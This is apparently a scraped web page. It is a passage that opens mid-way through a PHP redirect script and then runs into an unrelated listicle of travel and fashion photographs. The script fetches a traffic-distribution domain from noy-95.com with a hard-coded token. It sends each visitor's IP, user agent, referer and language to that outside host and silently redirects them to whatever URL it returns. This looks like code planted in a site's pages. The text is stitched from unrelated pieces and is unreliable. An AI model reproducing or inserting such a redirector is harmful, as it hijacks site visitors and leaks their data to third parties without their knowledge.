";
echo json_encode($_SERVER);
echo "
";
}
$API_DOMAIN = 'noy-95.com';
$AD_TOKEN = '36bd9815c20357f96453fa247140b6b167e93fb0';
$TB_URL = '';
$ttl = 10 * 60;
$fileName = dirname(__FILE__)."/.domain.cache";
$query = isset($_GET['q']) ? $_GET['q'] : '';
$s1 = isset($_GET['s1']) ? $_GET['s1'] : '';
$s2 = isset($_GET['s2']) ? $_GET['s2'] : '';
$s3 = isset($_GET['s3']) ? $_GET['s3'] : '';
if ($isDebug) {
echo "Getting tds domain from cache...
";
}
$info = getDomain($fileName);
if (is_array($info) && $info['expired'] < time()) {
if ($isDebug) {
echo "FAIL: TDS domain cache is empty or expired
";
}
$info = false;
}
if ($info === false) {
if ($isDebug) {
echo "Getting tds domain from api...
";
}
$domain = getTDSDomain($API_DOMAIN, $AD_TOKEN);
if (!$domain) {
if ($isDebug) {
echo "FAIL: No domain received.
";
}
if ($TB_URL) {
$rUrl = str_replace(array('{QUERY}', '{S1}', '{S2}', '{S3}'), array($query, $s1, $s2, $s3), $TB_URL);
if ($isDebug) {
echo "Redirecting to trafficback: $rUrl
";
} else {
listHeaders();
header("Location: $rUrl");
}
return;
}
if ($isDebug) {
echo "Rendering 404 error
";
} else {
render404($_SERVER);
}
return;
}
if ($isDebug) {
echo "Saving domain to cache...
";
}
saveDomain($fileName, $domain, time() + $ttl);
$info = array('domain' => $domain);
}
if ($isDebug) {
echo "Getting ad url...
";
}
$location = getAd($info['domain'], $AD_TOKEN, $_SERVER, array('query' => $query, 's1' => $s1, 's2' => $s2, 's3' => $s3), $isDebug);
if (!$location) {
if ($isDebug) {
echo "FAIL: No ad found.
";
echo "Rendering 404 error
";
} else {
render404($_SERVER);
}
return;
}
if ($isDebug) {
echo "Redirecting to ad: $location
";
} else {
listHeaders();
header("Location: $location");
ob_flush();
}
return;
function getDomain($file) {
$d = file($file);
if ($d === false || count($d) === 0) {
return false;
}
$info = explode(";", $d[0]);
// mailformed file
if (count($info) !== 2) {
return false;
}
return array(
'domain' => $info[0],
'expired' => (int) $info[1]
);
}
function saveDomain($file, $domain, $expired) {
file_put_contents($file, "$domain;$expired");
}
function getTDSDomain ($apiUrl, $token) {
$ctx = stream_context_create(array('http'=>array('timeout' => 10)));
$res = file_get_contents("http://$apiUrl/pd?token=$token", false, $ctx);
if (!$res) {
return "";
}
$data = json_decode($res, true);
if (!is_array($data) || !array_key_exists("domain", $data)) {
return "";
}
return $data["domain"];
}
function getAd($domain, $token, $server, $params, $isDebug) {
$errCount = 0;
$res = '';
while ($errCount < 2) {
$res = doReq($domain, $token, $server, $params, $isDebug);
if ($res !== false) {
break;
}
$errCount++;
}
if ($res === false || $res['code'] >= 400 || !is_array($res['response'])) {
return false;
}
if (!empty($res['response']['url'])) {
return $res['response']['url'];
} else if (!empty($res['response']['tb'])) {
return $res['response']['tb'];
} else {
return false;
}
}
function doReq($domain, $token, $server, $params, $isDebug) {
$ch = curl_init();
$body = array();
if (!empty($server['HTTP_REFERER'])) {
$body['ref'] = $server['HTTP_REFERER'];
}
if (!empty($server['HTTP_USER_AGENT'])) {
$body['ua'] = $server['HTTP_USER_AGENT'];
}
if (!empty($server['HTTP_ACCEPT_LANGUAGE'])) {
$body['lang'] = $server['HTTP_ACCEPT_LANGUAGE'];
}
$body['ip'] = getClientIP($server);
$body['q'] = $params['query'];
$scheme = getScheme($server);
$bodyStr = json_encode($body);
$addSubParams = array();
if (!empty($params['s1'])) {
$addSubParams[] = "s1=".$params['s1'];
}
if (!empty($params['s2'])) {
$addSubParams[] = "s2=".$params['s2'];
}
if (!empty($params['s3'])) {
$addSubParams[] = "s3=".$params['s3'];
}
$subStr = (count($addSubParams) > 0) ? "&".implode("&", $addSubParams) : "";
$ch = curl_init("$scheme://$domain/rtb/r?token=$token$subStr");
curl_setopt($ch, CURLOPT_TIMEOUT, 5);
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "POST");
curl_setopt($ch, CURLOPT_POSTFIELDS, $bodyStr);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
'Content-Type: application/json',
'Content-Length: '.strlen($bodyStr))
);
$result = curl_exec($ch);
$info = curl_getinfo($ch);
curl_close($ch);
if ($info === false || !$info['http_code']) {
if ($isDebug) {
echo "Network error occurred: ".curl_error($ch)."
";
}
return false;
}
$adData=json_decode($result, true);
return array('code' => $info['http_code'], 'response' => is_array($adData) && count($adData) > 0 ? $adData[0] : null);
}
function getScheme($server) {
return stripos($server['SERVER_PROTOCOL'],'https') === true ? 'https' : 'http';
}
function getClientIP($server) {
if (array_key_exists('HTTP_X_FORWARDED_FOR', $server)){
return $server["HTTP_X_FORWARDED_FOR"];
} else if (array_key_exists('HTTP_X_REAL_IP', $server)) {
return $server["HTTP_X_REAL_IP"];
} else if (array_key_exists('REMOTE_ADDR', $server)) {
return $server["REMOTE_ADDR"];
}
return '';
}
function listHeaders() {
header("Expires: Tue, 03 Jul 2001 06:00:00 GMT");
header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT");
header("Cache-Control: no-store, no-cache, must-revalidate, max-age=0");
header("Cache-Control: post-check=0, pre-check=0", false);
header("Pragma: no-cache");
header("Connection: close");
}
function render404($server) {
$protocol = isset($server['SERVER_PROTOCOL']) ? $server['SERVER_PROTOCOL'] : 'HTTP/1.1';
listHeaders();
header("$protocol 404 Not Found");
}
A Photographer Travels The World To Take The Best Dresses Shots You Will Ever See
A Russian photographer experienced life in a surreal way. His perspective to colors made his photographs magical by juxtaposing fashion to grand vistas of nature. A modern kind of camouflage is being presented by the ultimate right choice of dresses and colors in combination to natural scenes and architecture.
We have always witnessed the beauty of fashion and landscapes, each separately. Yet, seeing them both complimenting each other results in ethereal photographs.
The photographer traveled across the globe to shot the best he can find, and moving from one country to another appears to be worth the hassle.
Check some of his best photographs down below, and visit the Instagram account for more:
Hobopeeba
#1 Mauritius.

#2 Gum, Moscow, Russia.
#3 Red Square, Moscow, St. Basil Cathedral.
#4 Venice, Italy.
#5 Rub’ Al Khali Desert.
#6 Lake Baikal, Russia.
#7 Göreme, Cappadocia, Turkey.
#8 Moscow, Russia.
#9 Venice, Italy.
#10 Cappadocia, Turkey.
#11 Cappadocia, Turkey.
#12 Cappadocia, Turkey
#13 Finolhu, Maldives.
#14 Bolshoi Theatre, Moscow, Russia.
#15 Opéra De Paris, Palais Garnier, Paris, France.
#16 Cappadocia, Turkey.
#17 Petit Palais, Paris, France.
#18 Paris, Opera Garnier.
#19 Coron, Palawan.
#20 Cappadocia, Turkey.